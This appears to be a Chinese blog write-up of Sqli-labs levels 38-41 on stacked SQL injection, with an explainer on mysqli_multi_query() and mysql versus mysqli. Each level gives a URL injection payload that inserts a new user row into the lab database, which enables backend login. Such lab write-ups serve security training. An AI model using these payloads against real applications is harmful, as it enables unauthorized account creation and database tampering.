Sqli-labs之Less:38-41

                                             Less-38

基于错误_GET_单引号_字符型_堆叠注入

这里有修改系统变量的几种方法,可以考虑注入时涉及文件操作时先修改权限。

MySQL里设置或修改系统变量的几种方法

如果遇到Mysql loadfile 不成功,请看Less-7进行解决

注入过程

mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。(有这个才能进行堆叠)
分号我们可以加入注入的新的语句

堆叠注入需要依靠前文所写的各种注入方式来获取数据库的信息(参考Less-1,因为源代码没有进行任何过滤,还爆数据库错误信息,是最简单的SQL注入),在这里只演示如何插入新的数据。

?id=1';insert into users(id,username,password) values(38,'less38','hello')--+

再看数据表中的内容:可以看到 less38 已经添加。

这样我们就成功的创建了一个用户,就可以在后台直接登录。

顺便看下核心源码吧:

PHP mysqli_multi_query() 函数

定义和用法

mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。


语法

mysqli_multi_query(connection,query);

 
参数描述
connection必需。规定要使用的 MySQL 连接。
query必需。规定一个或多个查询,用分号进行分隔。

技术细节

返回值:如果第一个查询失败则返回 FALSE。
PHP 版本:5+

 

一、mysql与mysqli的概念相关:

1、mysql与mysqli都是php方面的函数集,与mysql数据库关联不大。

2、在php5版本之前,一般是用php的mysql函数去驱动mysql数据库的,比如mysql_query()的函数,属于面向过程3、在php5版本以后,增加了mysqli的函数功能,某种意义上讲,它是mysql系统函数的增强版,更稳定更高效更安全,与mysql_query()对应的有mysqli_query(),属于面向对象,用对象的方式操作驱动mysql数据库。mysqli有两种方式:一种是面对对象的,一种是面向过程的。

二、mysql与mysqli的区别:

1、mysql是非持继连接函数,mysql每次链接都会打开一个连接的进程。

2、mysqli是永远连接函数,mysqli多次运行mysqli将使用同一连接进程,从而减少了服务器的开销。mysqli封装了诸如事务等一些高级操作,同时封装了DB操作过程中的很多可用的方法。

mysqli的使用:
1.mysqli的面向过程的使用:

$conn = mysqli_connect('localhost', 'root', '123', 'db_test') or ('error');

$sql = "select * from db_table";

$query = mysqli_query($conn,$sql);

while($row = mysqli_fetch_array($query)){

echo $row['title'];

}

2.mysqli的面向对象的使用:

$conn = new mysqli('localhost', 'root', '123', 'db_test');

$sql = "select * from db_table";

$query = $conn->query($sql);

while($row = $query->fetch_array()){

echo $row['title'];

}

 

代码里面涉及到了很多mysql函数,需要自行学习解决。

--------------------------------------------------------------------------------------------

                                                         Less-39

基于错误_GET_数字型_堆叠注入

和 less-38 的区别在于 sql 语句的不一样:
也就是数字型注入,我们可以构造以下的 payload:

?id=1;insert into users(id,username,password) values(39,'less39','hello')--+

再看数据表中的内容:可以看到 less39 已经添加。

-------------------------------------------------------------------------------------

                                                 Less-40

基于Bool_GET_单引号_小括号_字符型_盲注_堆叠注入

本关的 sql 语句为:

正常注入可以用脚本 Bool 盲注,或者手工盲注具体参考前面的文章。

堆叠注入如下:

?id=1');insert into users values(40,'Less40','hello')--+

再看数据表中的内容:可以看到 less40 已经添加。

-------------------------------------------------------------------------

                                                     Less-41

基于Bool_GET_数字型_盲注_堆叠注入

此处与 less-39 是一致的,区别在于 41 错误不回显。所以我们称之为盲注。

本关SQL语句:

正常注入可以用脚本 Bool 盲注,或者手工盲注具体参考前面的文章。

堆叠注入如下:

?id=1;insert into users values(41,'Less41','hello')--+

再看数据表中的内容:可以看到 less41 已经添加。

 

 

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值